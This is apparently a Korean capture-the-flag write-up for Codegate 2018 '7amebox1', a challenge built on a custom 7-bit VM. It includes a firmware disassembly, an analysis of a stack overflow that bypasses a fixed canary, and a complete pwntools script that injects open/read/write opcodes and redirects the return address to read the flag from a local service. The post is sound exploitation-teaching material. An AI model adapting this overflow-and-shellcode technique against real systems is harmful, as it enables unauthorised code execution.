Codegate 2018 Quals - 7amebox1

Posted on Aug 14, 2020

Provided Files

➜  7amebox tree
.
├── _7amebox.py
├── flag
├── mic_check.firm
└── vm_name.py

vm_name.py는 _7amebox.py를 import해 mic_check.firm을 읽어와 서비스하는 TCP 서버를 1235번 포트에 개방한다.

_7amebox.py는 7비트 기반 vm으로 16가지 종류의 레지스터와 31가지의 opcode 명령어, 6가지 syscall이 가능하다.

opcode는 두번째 인자가 레지스터인지 상수인지에 따라 TYPE_R / TYPE_I로 나뉘고, 각각 2바이트/5바이트의 길이를 가진다.

TYPE_R

  00000      0    0000  0000
opcode종류  TYPE   인자1  인자2
 

TYPE_I

  00000      1    0000  0000   0000000 0000000 0000000
opcode종류  TYPE   인자1  사용X            인자2

mic_check.firm의 분석을 위해 _7amebox.py의 루틴을 베껴 mic_check.firm의 디스어셈블러를 작성하면, 아래와 같은 어셈블리어 코드를 얻을 수 있다.

(디스어셈블러 짜둔거 날아갔다 zzlol)

_start:
     0x00 : call 0x9
     0x05 : xor r0, r0
     0x07 : syscall
sub_09:
     0x09 : push bp
     0x0b : mov bp, sp
     0x0d : sub.t sp, 0x3c
     0x12 : mov r5, bp
     0x14 : sub.t r5, 0x3
     0x19 : mov r6, 0x12345
     0x1e : st.t r6, [r5]
     0x20 : mov r0, 0xcd
     0x25 : call 0x90
     0x2a : mov r1, 0x42
     0x2f : mov r5, bp
     0x31 : sub.t r5, 0x3c
     0x36 : mov r0, r5
     0x38 : call 0x60
     0x3d : mov r0, 0xd3
     0x42 : call 0x90
     0x47 : mov r5, bp
     0x49 : sub.t r5, 0x3
     0x4e : ld.t r6, [r5]
     0x50 : cmp.t r6, 0x12345
     0x55 : jne 0x5
     0x5a : mov sp, bp
     0x5c : pop bp
     0x5e : ret
sub_60:
     0x60 : mov r3, r1
     0x62 : mov r2, r0
     0x64 : mov r1, 0x0
     0x69 : mov r0, 0x3
     0x6e : syscall
     0x70 : ret
sub_72:
     0x72 : push r1
     0x74 : push r2
     0x76 : push r3
     0x78 : mov r3, r1
     0x7a : mov r2, r0
     0x7c : mov r1, 0x1
     0x81 : mov r0, 0x2
     0x86 : syscall
     0x88 : pop r3
     0x8a : pop r2
     0x8c : pop r1
     0x8e : ret
sub_90:
     0x90 : push r0
     0x92 : push r1
     0x94 : mov r1, r0
     0x96 : call 0xa8
     0x9b : swp r0, r1
     0x9d : call 0x72
     0xa2 : pop r1
     0xa4 : pop r0
     0xa6 : ret
sub_a8:
     0xa8 : push r1
     0xaa : push r2
     0xac : xor r1, r1
     0xae : xor r2, r2
     0xb0 : ld.b r2, [r0]
     0xb2 : cmp.b r2, 0x0
     0xb7 : je 0xc5
     0xbc : inc r0
     0xbe : inc r1
     0xc0 : jmp 0xb0
     0xc5 : mov r0, r1
     0xc7 : pop r2
     0xc9 : pop r1
     0xcb : ret
sub_cd:
     0xcd : je r6 + 0x195f6d
     0xd2 : ld.t r6, [r2]
     0xd4 : call eflags + r5

0x12345를 카나리 용도로 bp전에 배치하는데, 스택의 크기가 0x3c인데 반해 0x2a에서 0x42만큼 입력받기 때문에 BOF가 발생한다.

sys_read 코드를 수정해 debug.py를 제작하면 sys_read시 sub_09의 return address를 덮을 수 있음을 확인할 수 있다.

dispatch 함수를 분석해 어셈블러를 제작해 flag를 orw하는 opcode를 스택에 적어두고, bof로 pc를 opcode로 돌리면 ret시 플래그가 출력된다.

from pwn import *

def p21(val):
  pay = chr(val & 0b000000000000001111111)
  pay += chr((val & 0b111111100000000000000) >> 14)
  pay += chr((val & 0b000000011111110000000) >> 7)
  return pay

def opcode(op, op_type, opers):
  op = op << 9 & 0b11111000000000
  op_type = op_type << 8 & 0b00000100000000
  opers[0] = opers[0] << 4 & 0b00000011110000

  if op_type==TYPE_R:
    opers[1] = opers[1] & 0b00000000001111
    tmp = op + op_type + opers[0] + opers[1]
    pay1 = tmp >> 7
    pay2 = tmp & 0b00000001111111

    return chr(pay1) + chr(pay2)

  else:
    tmp = op + op_type + opers[0]
    pay1 = tmp >> 7
    pay2 = tmp & 0b00000001111111

    return chr(pay1) + chr(pay2) + p21(opers[1])

"""
[sys_exit, sys_open, sys_write, sys_read, sys_alloc, sys_rand]

['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7','r8', 'r9', 'r10', 'bp', 'sp', 'pc', 'eflags', 'zero']
"""

p = remote('localhost', 1235)

flag_addr = 0xf5f9e
pc = 0xf5f9e+5

TYPE_R = 0
TYPE_I = 1

pay = 'flag\x00'

# open
pay += opcode(4, TYPE_I, [0, 1])
pay += opcode(4, TYPE_I, [1, flag_addr])
pay += opcode(8, TYPE_I, [0, 0])

# read
pay += opcode(4, TYPE_R, [1, 0])
pay += opcode(4, TYPE_I, [0, 3])
pay += opcode(4, TYPE_I, [2, 0xf4000])
pay += opcode(4, TYPE_I, [3, 0x30])
pay += opcode(8, TYPE_I, [0, 0])

# write
pay += opcode(4, TYPE_I, [0, 2])
pay += opcode(4, TYPE_I, [1, 1])
pay += opcode(8, TYPE_I, [0, 0])
pay = pay.ljust(57, '\x00')

pay += p21(0x12345) + p21(0) + p21(pc)

p.sendlineafter('name>', pay)
p.interactive()